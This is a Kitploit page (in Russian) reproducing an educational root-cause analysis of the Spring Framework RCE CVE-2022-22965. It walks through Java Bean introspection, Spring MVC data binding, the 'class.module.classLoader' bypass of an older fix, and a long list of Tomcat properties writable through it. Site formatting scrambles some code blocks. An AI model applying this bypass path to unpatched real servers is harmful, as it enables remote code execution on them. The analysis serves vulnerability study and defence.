Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
spring-RCE-CVE-2022-22965 — Образовательный анализ и эксплойт для доказательства концепции для CVE-2022-22965, уязвимости удаленного выполнения кода в Spring MVC/WebFlux через связывание данных на JDK 9+ с развертыванием Tomcat WAR. | Kitploit
Инструменты/GitHubGitHub/enokiy/spring-rce-cve-2022-22965
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийОбучение и Образование
GitHubenokiy/spring-rce-cve-2022-22965

spring-RCE-CVE-2022-22965

Образовательный анализ и эксплойт для доказательства концепции для CVE-2022-22965, уязвимости удаленного выполнения кода в Spring MVC/WebFlux через связывание данных на JDK 9+ с развертыванием Tomcat WAR.

Репозиторий
24 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Описание уязвимости

Недавно в Spring была обнаружена серьезная уязвимость CVE. Согласно информации CVE, "A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it. (Приложения Spring MVC или Spring WebFlux, работающие на JDK 9+, могут быть уязвимы для удаленного выполнения кода (RCE) через привязку данных. Для конкретной эксплуатации требуется, чтобы приложение было развернуто как WAR на Tomcat. Если приложение развернуто как исполняемый jar Spring Boot (по умолчанию), оно не уязвимо для данной эксплуатации. Однако природа уязвимости более общая, и могут существовать другие способы ее эксплуатации.)". В данном анализе мы изучаем принцип уязвимости, воспроизводя этот CVE.

Java Bean API

Прежде чем рассматривать принцип привязки параметров Spring MVC, давайте посмотрим на некоторые API, связанные с Java Bean.

  • Java Bean: По сути, это спецификация. Когда класс соответствует этой спецификации, он может быть вызван другими определенными классами. При использовании класса в качестве Java Bean он содержит набор приватных свойств, которые читаются и записываются через публичные методы get/is() или set().
  • Introspector (Интроспекция): The Introspector class provides a standard way for tools to learn about the properties, events, and methods supported by a target Java Bean.
    For each of those three kinds of information, the Introspector will separately analyze the bean's class and superclasses looking for either explicit or implicit information and use that information to build a BeanInfo object that comprehensively describes the target bean. (Java предоставляет стандартный способ обработки свойств, событий и методов для классов Java Bean. Например, при поиске свойства/метода в классе bean, если оно не найдено в текущем классе, поиск продолжается в родительском классе и т.д.)
  • BeanInfo: Introspect on a Java Bean and learn about all its properties, exposed methods, and events.If the BeanInfo class for a Java Bean has been previously Introspected then the BeanInfo class is retrieved from the BeanInfo cache. (Выполняет интроспекцию Java Bean и предоставляет информацию обо всех его свойствах, открытых методах и событиях. Если класс BeanInfo для Java Bean уже был проинтроспектирован ранее, то он извлекается из кэша BeanInfo.)
  • PropertyDescriptor: Используется для описания свойств Java Bean, которые раскрываются через набор accessor methods (методов доступа).
  • Объявим следующий класс Java Bean:```java public class User { private String name;

    root@kitploit:~
    public User() {
    }
    public void setName(String name) {
        this.name = name;
    }
    public String getName() {
        return this.name;
    }
    public int getAge() {
        return 18;
    }
    

    }

    root@kitploit:~
    Используйте следующий тестовый код, чтобы увидеть информацию, полученную с помощью Introspector.getBeanInfo:```java
    @Test
        public  void testIntrospector() throws IntrospectionException {
            BeanInfo beanInfo = Introspector.getBeanInfo(User.class);
            for (PropertyDescriptor pdesc:beanInfo.getPropertyDescriptors()){
                System.out.println("Property: " + pdesc.getName() + ",Class:" + pdesc.getPropertyType());
            }
    //        for (MethodDescriptor md:beanInfo.getMethodDescriptors()) {
    //            System.out.println("Method: " + md.getName());
    //        }
        }
    

    вывод:```text Property: age,Class:int Property: class,Class:class java.lang.Class Property: name,Class:class java.lang.String

    root@kitploit:~
    Помимо ожидаемых `age` и `того`, также есть атрибут `class`, имя класса — `Class`. Если продолжить вызов `Introspector.getBeanInfo(Class.class)`, можно получить дополнительную информацию, такую как `classLoader`:```text jdk11:
    Property: annotatedInterfaces
    Property: annotatedSuperclass
    Property: annotation
    Property: annotations
    Property: anonymousClass
    Property: array
    Property: canonicalName
    Property: class
    Property: classLoader
    Property: classes
    Property: componentType
    Property: constructors
    Property: declaredAnnotations
    Property: declaredClasses
    Property: declaredConstructors
    Property: declaredFields
    Property: declaredMethods
    Property: declaringClass
    Property: enclosingClass
    Property: enclosingConstructor
    Property: enclosingMethod
    Property: enum
    Property: enumConstants
    Property: fields
    Property: genericInterfaces
    Property: genericSuperclass
    Property: interface
    Property: interfaces
    Property: localClass
    Property: memberClass
    Property: methods
    Property: modifiers
    Property: module
    Property: name
    Property: nestHost
    Property: nestMembers
    Property: package
    Property: packageName
    Property: primitive
    Property: protectionDomain
    Property: signers
    Property: simpleName
    Property: superclass
    Property: synthetic
    Property: typeName
    Property: typeParameters
    

    Кроме того, сравните различия в информации, полученной с помощью Introspector.getBeanInfo(Class.class) в разных версиях JDK: выше вывод для jdk-11, ниже вывод для JDK8:```text jdk8: Property: annotatedInterfaces Property: annotatedSuperclass Property: annotation Property: annotations Property: anonymousClass Property: array Property: canonicalName Property: class Property: classLoader Property: classes Property: componentType Property: constructors Property: declaredAnnotations Property: declaredClasses Property: declaredConstructors Property: declaredFields Property: declaredMethods Property: declaringClass Property: enclosingClass Property: enclosingConstructor Property: enclosingMethod Property: enum Property: enumConstants Property: fields Property: genericInterfaces Property: genericSuperclass Property: interface Property: interfaces Property: localClass Property: memberClass Property: methods Property: modifiers Property: name Property: package Property: primitive Property: protectionDomain Property: signers Property: simpleName Property: superclass Property: synthetic Property: typeName Property: typeParameters

    root@kitploit:~
    C```text
    Property: annotatedInterfaces
    Property: annotatedSuperclass
    Property: annotation
    Property: annotations
    Property: anonymousClass
    Property: array
    Property: canonicalName
    Property: class
    Property: classLoader
    Property: classes
    Property: componentType
    Property: constructors
    Property: declaredAnnotations
    Property: declaredClasses
    Property: declaredConstructors
    Property: declaredFields
    Property: declaredMethods
    Property: declaringClass
    Property: enclosingClass
    Property: enclosingConstructor
    Property: enclosingMethod
    Property: enum
    Property: enumConstants
    Property: fields
    Property: genericInterfaces
    Property: genericSuperclass
    Property: interface
    Property: interfaces
    Property: localClass
    Property: memberClass
    Property: methods
    Property: modifiers
    Property: module
    Property: name
    Property: package
    Property: packageName
    Property: primitive
    Property: protectionDomain
    Property: signers
    Property: simpleName
    Property: superclass
    Property: synthetic
    Property: typeName
    Property: typeParameters
    

    По сравнению с JDK8, в JDK9 появилось два дополнительных атрибута: module и packageName. А в JDK11, помимо атрибутов module и packageName, есть еще два атрибута: nestHost и nestMembers.

    data binding привязка данных

    Процесс привязки параметров в веб-фреймворках, говоря простым языком, заключается в том, что фреймворк преобразует строковые параметры из HTTP-запроса в типы, действительно необходимые серверу. На примере Spring MVC: Определим два Bean-класса: User и UserInfo:```java public class UserInfo { public User getUser() { return user; }

    root@kitploit:~
    public void setUser(User user) {
        this.user = user;
    }
    
    public String getPassword() {
        return password;
    }
    
    public void setPassword(String password) {
        this.password = password;
    }
    
    private User user;
    private String password;
    
    @Override
    public String toString() {
        return "UserInfo{" +
                "user=" + user +
                ", password='" + password + '\'' +
                '}';
    }
    

    }

    root@kitploit:~
    Используйте следующий controller для тестирования:```java
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.RestController;
    
    @RestController
    public class DemoController {
        public DemoController() {
        }
    
        @RequestMapping({"/test"})
        public String test(User u) {
            System.out.println("access!");
            return "home";
        }
    
        @RequestMapping({"/get-user-info"})
        public String getUserInfo(UserInfo userInfo) {
            System.out.println("Name:"  + userInfo.getUser().getName());
            System.out.println("Age:"  + userInfo.getUser().getAge());
            System.out.println("password:" + userInfo.getPassword());
            System.out.println("classLoader:" + userInfo.getClass().getClassLoader());
    
            return userInfo.toString();
        }
    }
    

    Когда мы обращаемся к /get-user-info?password=password&user.name=enokiy, фреймворк автоматически создаёт экземпляр класса UserInfo и связывает соответствующие значения с соответствующими свойствами (через user.name можно вложенно обратиться к свойству userInfo.user.name):

    Давайте проследим через отладку полный процесс привязки данных в Spring MVC: Начиная с метода doDispatch класса org.springframework.web.servlet.DispatcherServlet, в методе doDispatch сначала получаем mappedHandler на основе запроса, затем получаем HandlerAdapter, вызываем метод handle() HandlerAdapter для конкретной обработки запроса и возвращаем ModelAndView:

    Здесь HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler()) — полученный ha на самом деле является классом org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter. После выполнения метода handle() HandlerAdapter попадаем в метод invokeHandleMethod класса RequestMappingHandlerAdapter:

    Затем в методе invokeHandleMethod на основе handlerMethod создаётся экземпляр ServletInvocableHandlerMethod — invocableMethod, устанавливаются соответствующие dataBinderFactory, modelFactory и argumentResolvers, после чего в методе invocableMethod.invokeAndHandle→invokeForRequest→getMethodArgumentValues производится разрешение аргументов с помощью различных парсеров:

    Парсеры аргументов здесь следующие:```text org.springframework.web.method.annotation.RequestParamMethodArgumentResolver org.springframework.web.method.annotation.RequestParamMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.PathVariableMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.PathVariableMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.MatrixVariableMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.MatrixVariableMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RequestResponseBodyMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RequestPartMethodArgumentResolver org.springframework.web.method.annotation.RequestHeaderMethodArgumentResolver org.springframework.web.method.annotation.RequestHeaderMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletCookieValueMethodArgumentResolver org.springframework.web.method.annotation.ExpressionValueMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.SessionAttributeMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.RequestAttributeMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletRequestMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletResponseMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.HttpEntityMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RedirectAttributesMethodArgumentResolver org.springframework.web.method.annotation.ModelMethodProcessor org.springframework.web.method.annotation.MapMethodProcessor org.springframework.web.method.annotation.ErrorsMethodArgumentResolver org.springframework.web.method.annotation.SessionStatusMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.UriComponentsBuilderMethodArgumentResolver org.springframework.web.method.annotation.RequestParamMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor

    root@kitploit:~
    то как узнать, какой конкретно анализатор параметров следует использовать для анализа параметров в текущем запросе? В Spring MVC это определяется на основе информации об аннотациях параметров (логика находится в методе `HandlerMethodArgumentResolverComposite#getArgumentResolver`). Например, при использовании аннотаций `@RequestMapping` и `@ModelAttribute` применяется `org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor`, а `@RequestParam` соответствует `RequestParamMethodArgumentResolver` и т.д.
    
    В текущем демо используется аннотация `@RequestMapping`, поэтому далее рассмотрим процесс привязки параметров в классе `ServletModelAttributeMethodProcessor`:```java
    public final Object resolveArgument(MethodParameter parameter, @Nullable ModelAndViewContainer mavContainer,
    			NativeWebRequest webRequest, @Nullable WebDataBinderFactory binderFactory) throws Exception {
    
    		Assert.state(mavContainer != null, "ModelAttributeMethodProcessor requires ModelAndViewContainer");
    		Assert.state(binderFactory != null, "ModelAttributeMethodProcessor requires WebDataBinderFactory");
    
    		String name = ModelFactory.getNameForParameter(parameter);
    		ModelAttribute ann = parameter.getParameterAnnotation(ModelAttribute.class);
    		if (ann != null) {
    			mavContainer.setBinding(name, ann.binding());
    		}
    
    		Object attribute = null;
    		BindingResult bindingResult = null;
    
    		if (mavContainer.containsAttribute(name)) {
    			attribute = mavContainer.getModel().get(name);
    		}
    		else {
    			// Create attribute instance
    			try {
    				attribute = createAttribute(name, parameter, binderFactory, webRequest);
    			}
    			catch (BindException ex) {
    				if (isBindExceptionRequired(parameter)) {
    					// No BindingResult parameter -> fail with BindException
    					throw ex;
    				}
    				// Otherwise, expose null/empty value and associated BindingResult
    				if (parameter.getParameterType() == Optional.class) {
    					attribute = Optional.empty();
    				}
    				bindingResult = ex.getBindingResult();
    			}
    		}
    
    		if (bindingResult == null) {
    			// Bean property binding and validation;
    			// skipped in case of binding failure on construction.
    			WebDataBinder binder = binderFactory.createBinder(webRequest, attribute, name);
    			if (binder.getTarget() != null) {
    				if (!mavContainer.isBindingDisabled(name)) {
    					bindRequestParameters(binder, webRequest);
    				}
    				validateIfApplicable(binder, parameter);
    				if (binder.getBindingResult().hasErrors() && isBindExceptionRequired(binder, parameter)) {
    					throw new BindException(binder.getBindingResult());
    				}
    			}
    			// Value type adaptation, also covering java.util.Optional
    			if (!parameter.getParameterType().isInstance(attribute)) {
    				attribute = binder.convertIfNecessary(binder.getTarget(), parameter.getParameterType(), parameter);
    			}
    			bindingResult = binder.getBindingResult();
    		}
    
    		// Add resolved attribute and BindingResult at the end of the model
    		Map<String, Object> bindingResultModel = bindingResult.getModel();
    		mavContainer.removeAttributes(bindingResultModel);
    		mavContainer.addAllAttributes(bindingResultModel);
    
    		return attribute;
    	}
    

    Получение имени параметра модели на основе параметров запроса. Сначала проверяется, содержит ли ModelAndViewContainer это имя параметра. Если да, то атрибут извлекается непосредственно из ModelAndViewContainer, иначе выполняется метод ServletModelAttributeMethodProcessor#createAttribute для создания атрибута модели:

    • ServletModelAttributeMethodProcessor#createAttribute:

      Сначала в текущем классе проверяется, содержит ли URI запроса или параметры имя атрибута (метод getRequestValueForAttribute). Если да, возвращается значение, иначе вызывается метод super.createAttribute:

    • binderFactory.createBinder: создание WebRequestDataBinder

    • bindRequestParameters: ServletModelAttributeMethodProcessor#bindRequestParameters--> ServletRequestDataBinder#bind --> ServletRequestDataBinder#doBind -->DataBinder#doBind -->DataBinder#applyPropertyValues -->DataBinder#getPropertyAccessor().setPropertyValues:

    В методе DataBinder#doBind выполняются проверки allowFields и requiredFields; в текущей тестовой версии они по умолчанию пусты:

    В AbstractPropertyAccessor#setPropertyValues(PropertyValues pvs, boolean ignoreUnknown, boolean ignoreInvalid) в цикле вызывается AbstractPropertyAccessor#setPropertyValue для привязки значений атрибутов каждого параметра запроса. Если в процессе привязки обнаруживается, что имя параметра содержит ".", то для рекурсивной привязки атрибута после точки вызывается getNestedPropertyAccessor:

    Процесс рекурсивного получения значения атрибута переходит в следующий поток обработки данных:```text AbstractNestablePropertyAccessor#getNestedPropertyAccessor-->AbstractNestablePropertyAccessor#setDefaultValue-->AbstractNestablePropertyAccessor#createDefaultPropertyValue-->AbstractNestablePropertyAccessor#getPropertyTypeDescriptor-->BeanWrapperImpl#getLocalPropertyHandler-->BeanWrapperImpl#getCachedIntrospectionResults

    root@kitploit:~
    В методе `getLocalPropertyHandler` вызывается `getCachedIntrospectionResults`, чтобы найти текущее свойство в `cachedIntrospectionResults`. Помимо свойств из текущего запроса, `cachedIntrospectionResults` содержит встроенное свойство с именем `class`:
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/7c9e3bf3ba9832dd338ee71f075c3a7f90cd7ac4b94310336434cc4d6fde10a4.png)
    
    Как упоминалось ранее в механизме интроспекции при получении `BeanInfo`, если `BeanInfo` Java Bean уже был проинтроспектирован, то `BeanInfo` извлекается из кэша. Таким образом, `cachedIntrospectionResults` служит для реализации этой функциональности:
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/04859312c68bb0ba7386a1fa22b246049c4e04ba4fc98a859abf14fb52a87165.png)
    
    На этом этапе подведём итог процесса привязки параметров в Spring MVC:
    
    1. При инициализации Spring MVC класс `RequestMappingHandlerAdapter` добавляет несколько резольверов параметров по умолчанию в `argumentResolvers`. Когда Spring MVC получает запрос, он входит в `doDispatch` `DispatcherServlet`. В методе `doDispatch` сначала по запросу получается `mappedHandler`, затем `HandlerAdapter`, и через вызов метода `handle()` `HandlerAdapter` запрос обрабатывается, возвращается `ModelAndView`. `ViewResolver` разрешает и возвращает `View`, а фронт-контроллер выполняет рендеринг представления.
       ![http://rui0.cn/wp-content/uploads/2019/10/Ping_Mu_Kuai_Zhao_-2019-10-17-_Xia_Wu_8.png](https://assets.kitploit.com/production/public/readmes/35879/082d72536dff18eff34f77c464bcbdfe4ff913fa5ce05b587da22a81ebdf05d2.png)
    
    2. В процессе обработки запроса в методе `handle()` `HandlerAdapter` на основе `handlerMethod` создаётся экземпляр `ServletInvocableHandlerMethod` — `invocableMethod`. Устанавливаются соответствующие `dataBinderFactory`, `modelFactory` и `argumentResolvers`. Затем через `invocableMethod.invokeAndHandle()` → `invokeForRequest()` → `getMethodArgumentValues()` параметры разрешаются с помощью различных резольверов параметров, которые выбираются на основе аннотаций параметров.
    
    3. Резольвер параметров выполняет разрешение, создавая экземпляр (свойство), соответствующий имени параметра `handlerMethod` из запроса. Затем через `DataBinder` попадает в `BeanWrapperImpl`, который осуществляет присвоение значений свойствам бина. `BeanWrapperImpl` реализует методы создания, хранения и изменения свойств бина. Метод `setPropertyValue` может внедрять значения параметров в соответствующие свойства указанного бина (включая list, map и т.д.), а также устанавливать свойства вложенных объектов:
    
       ![http://rui0.cn/wp-content/uploads/2019/10/20170119132139329.jpeg](https://assets.kitploit.com/production/public/readmes/35879/6ddd9cc9b1d30ee9f7eb5ccaa133a58bdaf52348b3fa883ca5bd6d049698718c.png)
    
    Как привязка данных Spring MVC (связывание различных параметров с параметрами методов обработки запросов, аннотированных `@RequestMapping`), так и `BeanFactory` (обработка аннотации `@Autowired`) используют интерфейс `BeanWrapper`.
    
    ### Перезапись переменных
    
    Поскольку упомянутый выше метод `setPropertyValue` при вложенной установке свойств обращается к `cachedIntrospectionResults`, а в `cachedIntrospectionResults` помимо параметров запроса присутствует дополнительное свойство `class`, можно через запрос получить доступ к свойствам `classLoader` с помощью `class.classLoader.xx`. Это и есть уязвимость CVE-2010-1622 в ранних версиях Spring. Текущая CVE-2022-22965 является обходом механизма защиты этой уязвимости.
    
    Конструкция `cachedIntrospectionResults` выглядит следующим образом:
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/04859312c68bb0ba7386a1fa22b246049c4e04ba4fc98a859abf14fb52a87165.png)
    
    1. Через `Introspector.getBeanInfo(beanClass, Introspector.IGNORE_ALL_BEANINFO)` извлекается информация о свойствах `BeanClass`. Поскольку в методе `Introspector.getBeanInfo(beanClass, Introspector.IGNORE_ALL_BEANINFO)` не указан `stopClass`, при отсутствии свойства в текущем классе происходит поиск в родительских классах.
    2. Отключаются свойства `ClassLoader` и `protectionDomain` класса `Class` — это способ защиты от CVE-2010-1622.
    
    В начале статьи сравнивались разные версии JDK и значения свойств, полученных через `Introspector.getBeanInfo(xxx)`. Начиная с JDK9 и выше появляются два дополнительных свойства: `module` и `packageName`. При этом в свойстве `module` присутствует свойство `classLoader`, поэтому можно использовать свойство `module` для доступа к `classLoader`, обходя таким образом защиту от CVE-2010-1622 и выполняя перезапись переменных:
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/b3de4eb5e96fcfd67dcee0d75aa7a9beb84b2b3224ee8fc20b89fa70bd773fe7.png)
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/0ac14514378c20fef1037eac6b336c8ca9673d2b560a3cbd880a4082e56976b1.png)
    
    ### Эксплуатация уязвимости
    
    Поняв, что суть уязвимости — перезапись переменных, рассмотрим вопросы эксплуатации:
    
    1. Какие переменные можно перезаписать?
    2. К каким последствиям приведёт перезапись переменных?
    
    Теперь известно, что перезапись можно осуществить через `class.module.classLoader`. Но какие именно переменные доступны для перезаписи? В разных сценариях развёртывания Spring MVC `classLoader` отличается, поэтому способы эксплуатации не универсальны.
    
    | Способ развёртывания | classLoader |
    | ---- | ---- |
    | SpringBoot FatJar | org.springframework.boot.loader.LaunchedURLClassLoader |
    | tomcat war | org.apache.catalina.loader.ParallelWebappClassLoader |
    | jetty war | org.eclipse.jetty.webapp.WebAppClassLoader |
    
    При развёртывании tomcat war (тестовое окружение: "apache-tomcat-8.5.8" + "jdk-11.0.1") доступные для чтения и записи свойства под `class.module` следующие (неполный список, не собраны свойства типов List/Map/Set):
    <details>
    <summary>
    Нажмите, чтобы увидеть доступные для чтения и записи свойства под class.module
    </summary>```text
    class.module
    class.module.classLoader.clearReferencesHttpClientKeepAliveThread
    class.module.classLoader.clearReferencesLogFactoryRelease
    class.module.classLoader.clearReferencesRmiTargets
    class.module.classLoader.clearReferencesStopThreads
    class.module.classLoader.clearReferencesStopTimerThreads
    class.module.classLoader.delegate
    class.module.classLoader.resources
    class.module.classLoader.clearReferencesHttpClientKeepAliveThread
    class.module.classLoader.resources
    class.module.classLoader.resources.allowLinking
    class.module.classLoader.resources.cacheMaxSize
    class.module.classLoader.resources.cacheObjectMaxSize
    class.module.classLoader.resources.cacheTtl
    class.module.classLoader.resources.cachingAllowed
    class.module.classLoader.resources.context
    class.module.classLoader.resources.domain
    class.module.classLoader.resources.trackLockedFiles
    class.module.classLoader.resources.cacheMaxSize
    class.module.classLoader.resources.cacheObjectMaxSize
    class.module.classLoader.resources.cacheTtl
    class.module.classLoader.resources.context
    class.module.classLoader.resources.context.addWebinfClassesResources
    class.module.classLoader.resources.context.allowCasualMultipartParsing
    class.module.classLoader.resources.context.altDDName
    class.module.classLoader.resources.context.antiResourceLocking
    class.module.classLoader.resources.context.applicationEventListeners
    class.module.classLoader.resources.context.applicationLifecycleListeners
    class.module.classLoader.resources.context.backgroundProcessorDelay
    class.module.classLoader.resources.context.charsetMapper
    class.module.classLoader.resources.context.charsetMapperClass
    class.module.classLoader.resources.context.clearReferencesHttpClientKeepAliveThread
    class.module.classLoader.resources.context.clearReferencesRmiTargets
    class.module.classLoader.resources.context.clearReferencesStopThreads
    class.module.classLoader.resources.context.clearReferencesStopTimerThreads
    class.module.classLoader.resources.context.cluster
    class.module.classLoader.resources.context.configFile
    class.module.classLoader.resources.context.configured
    class.module.classLoader.resources.context.containerSciFilter
    class.module.classLoader.resources.context.cookieProcessor
    class.module.classLoader.resources.context.cookies
    class.module.classLoader.resources.context.copyXML
    class.module.classLoader.resources.context.crossContext
    class.module.classLoader.resources.context.defaultContextXml
    class.module.classLoader.resources.context.defaultWebXml
    class.module.classLoader.resources.context.delegate
    class.module.classLoader.resources.context.denyUncoveredHttpMethods
    class.module.classLoader.resources.context.dispatchersUseEncodedPaths
    class.module.classLoader.resources.context.displayName
    class.module.classLoader.resources.context.distributable
    class.module.classLoader.resources.context.docBase
    class.module.classLoader.resources.context.domain
    class.module.classLoader.resources.context.effectiveMajorVersion
    class.module.classLoader.resources.context.effectiveMinorVersion
    class.module.classLoader.resources.context.failCtxIfServletStartFails
    class.module.classLoader.resources.context.fireRequestListenersOnFoards
    class.module.classLoader.resources.context.ignoreAnnotations
    class.module.classLoader.resources.context.instanceManager
    class.module.classLoader.resources.context.j2EEApplication
    class.module.classLoader.resources.context.j2EEServer
    class.module.classLoader.resources.context.jarScanner
    class.module.classLoader.resources.context.javaVMs
    class.module.classLoader.resources.context.jndiExceptionOnFailedWrite
    class.module.classLoader.resources.context.jspConfigDescriptor
    class.module.classLoader.resources.context.loader
    class.module.classLoader.resources.context.logEffectiveWebXml
    class.module.classLoader.resources.context.loginConfig
    class.module.classLoader.resources.context.manager
    class.module.classLoader.resources.context.mapperContextRootRedirectEnabled
    class.module.classLoader.resources.context.mapperDirectoryRedirectEnabled
    class.module.classLoader.resources.context.name
    class.module.classLoader.resources.context.namingContextListener
    class.module.classLoader.resources.context.namingResources
    class.module.classLoader.resources.context.originalDocBase
    class.module.classLoader.resources.context.override
    class.module.classLoader.resources.context.parent
    class.module.classLoader.resources.context.parentClassLoader
    class.module.classLoader.resources.context.path
    class.module.classLoader.resources.context.preemptiveAuthentication
    class.module.classLoader.resources.context.privileged
    class.module.classLoader.resources.context.publicId
    class.module.classLoader.resources.context.realm
    class.module.classLoader.resources.context.reloadable
    class.module.classLoader.resources.context.renewThreadsWhenStoppingContext
    class.module.classLoader.resources.context.resourceOnlyServlets
    class.module.classLoader.resources.context.resources
    class.module.classLoader.resources.context.sendRedirectBody
    class.module.classLoader.resources.context.server
    class.module.classLoader.resources.context.sessionCookieDomain
    class.module.classLoader.resources.context.sessionCookieName
    class.module.classLoader.resources.context.sessionCookiePath
    class.module.classLoader.resources.context.sessionCookiePathUsesTrailingSlash
    class.module.classLoader.resources.context.sessionTimeout
    class.module.classLoader.resources.context.startChildren
    class.module.classLoader.resources.context.startStopThreads
    class.module.classLoader.resources.context.startupTime
    class.module.classLoader.resources.context.swallowAbortedUploads
    class.module.classLoader.resources.context.swallowOutput
    class.module.classLoader.resources.context.threadBindingListener
    class.module.classLoader.resources.context.tldScanTime
    class.module.classLoader.resources.context.tldValidation
    class.module.classLoader.resources.context.unloadDelay
    class.module.classLoader.resources.context.unpackWAR
    class.module.classLoader.resources.context.useHttpOnly
    class.module.classLoader.resources.context.useNaming
    class.module.classLoader.resources.context.useRelativeRedirects
    class.module.classLoader.resources.context.validateClientProvidedNewSessionId
    class.module.classLoader.resources.context.webappVersion
    class.module.classLoader.resources.context.workDir
    class.module.classLoader.resources.context.wrapperClass
    class.module.classLoader.resources.context.xmlBlockExternal
    class.module.classLoader.resources.context.xmlNamespaceAware
    class.module.classLoader.resources.context.xmlValidation
    class.module.classLoader.resources.context.applicationEventListeners
    class.module.classLoader.resources.context.applicationLifecycleListeners
    class.module.classLoader.resources.context.authenticator.alwaysUseSession
    class.module.classLoader.resources.context.authenticator.asyncSupported
    class.module.classLoader.resources.context.authenticator.cache
    class.module.classLoader.resources.context.authenticator.changeSessionIdOnAuthentication
    class.module.classLoader.resources.context.authenticator.container
    class.module.classLoader.resources.context.authenticator.disableProxyCaching
    class.module.classLoader.resources.context.authenticator.domain
    class.module.classLoader.resources.context.authenticator.next
    class.module.classLoader.resources.context.authenticator.securePagesWithPragma
    class.module.classLoader.resources.context.authenticator.secureRandomAlgorithm
    class.module.classLoader.resources.context.authenticator.secureRandomClass
    class.module.classLoader.resources.context.authenticator.secureRandomProvider
    class.module.classLoader.resources.context.backgroundProcessorDelay
    class.module.classLoader.resources.context.charsetMapper
    class.module.classLoader.resources.context.configFile
    class.module.classLoader.resources.context.cookieProcessor
    class.module.classLoader.resources.context.effectiveMajorVersion
    class.module.classLoader.resources.context.instanceManager
    class.module.classLoader.resources.context.jarScanner
    class.module.classLoader.resources.context.jarScanner.jarScanFilter
    class.module.classLoader.resources.context.jarScanner.scanAllDirectories
    class.module.classLoader.resources.context.jarScanner.scanAllFiles
    class.module.classLoader.resources.context.jarScanner.scanBootstrapClassPath
    class.module.classLoader.resources.context.jarScanner.scanClassPath
    class.module.classLoader.resources.context.jarScanner.scanManifest
    class.module.classLoader.resources.context.loader
    class.module.classLoader.resources.context.loader.context
    class.module.classLoader.resources.context.loader.delegate
    class.module.classLoader.resources.context.loader.domain
    class.module.classLoader.resources.context.loader.loaderClass
    class.module.classLoader.resources.context.loader.reloadable
    class.module.classLoader.resources.context.loginConfig
    class.module.classLoader.resources.context.loginConfig.authMethod
    class.module.classLoader.resources.context.loginConfig.errorPage
    class.module.classLoader.resources.context.loginConfig.loginPage
    class.module.classLoader.resources.context.loginConfig.realmName
    class.module.classLoader.resources.context.manager
    class.module.classLoader.resources.context.manager.context
    class.module.classLoader.resources.context.manager.domain
    class.module.classLoader.resources.context.manager.duplicates
    class.module.classLoader.resources.context.manager.expiredSessions
    class.module.classLoader.resources.context.manager.maxActive
    class.module.classLoader.resources.context.manager.maxActiveSessions
    class.module.classLoader.resources.context.manager.pathname
    class.module.classLoader.resources.context.manager.processExpiresFrequency
    class.module.classLoader.resources.context.manager.processingTime
    class.module.classLoader.resources.context.manager.secureRandomAlgorithm
    class.module.classLoader.resources.context.manager.secureRandomClass
    class.module.classLoader.resources.context.manager.secureRandomProvider
    class.module.classLoader.resources.context.manager.sessionAttributeNameFilter
    class.module.classLoader.resources.context.manager.sessionAttributeValueClassNameFilter
    class.module.classLoader.resources.context.manager.sessionCounter
    class.module.classLoader.resources.context.manager.sessionIdGenerator
    class.module.classLoader.resources.context.manager.sessionMaxAliveTime
    class.module.classLoader.resources.context.manager.warnOnSessionAttributeFilterFailure
    class.module.classLoader.resources.context.namingContextListener
    class.module.classLoader.resources.context.namingContextListener.exceptionOnFailedWrite
    class.module.classLoader.resources.context.namingContextListener.name
    class.module.classLoader.resources.context.namingResources
    class.module.classLoader.resources.context.namingResources.container
    class.module.classLoader.resources.context.namingResources.domain
    class.module.classLoader.resources.context.namingResources.transaction
    class.module.classLoader.resources.context.parent
    class.module.classLoader.resources.context.parent.appBase
    class.module.classLoader.resources.context.parent.autoDeploy
    class.module.classLoader.resources.context.parent.backgroundProcessorDelay
    class.module.classLoader.resources.context.parent.cluster
    class.module.classLoader.resources.context.parent.configClass
    class.module.classLoader.resources.context.parent.contextClass
    class.module.classLoader.resources.context.parent.copyXML
    class.module.classLoader.resources.context.parent.createDirs
    class.module.classLoader.resources.context.parent.deployIgnore
    class.module.classLoader.resources.context.parent.deployOnStartup
    class.module.classLoader.resources.context.parent.deployXML
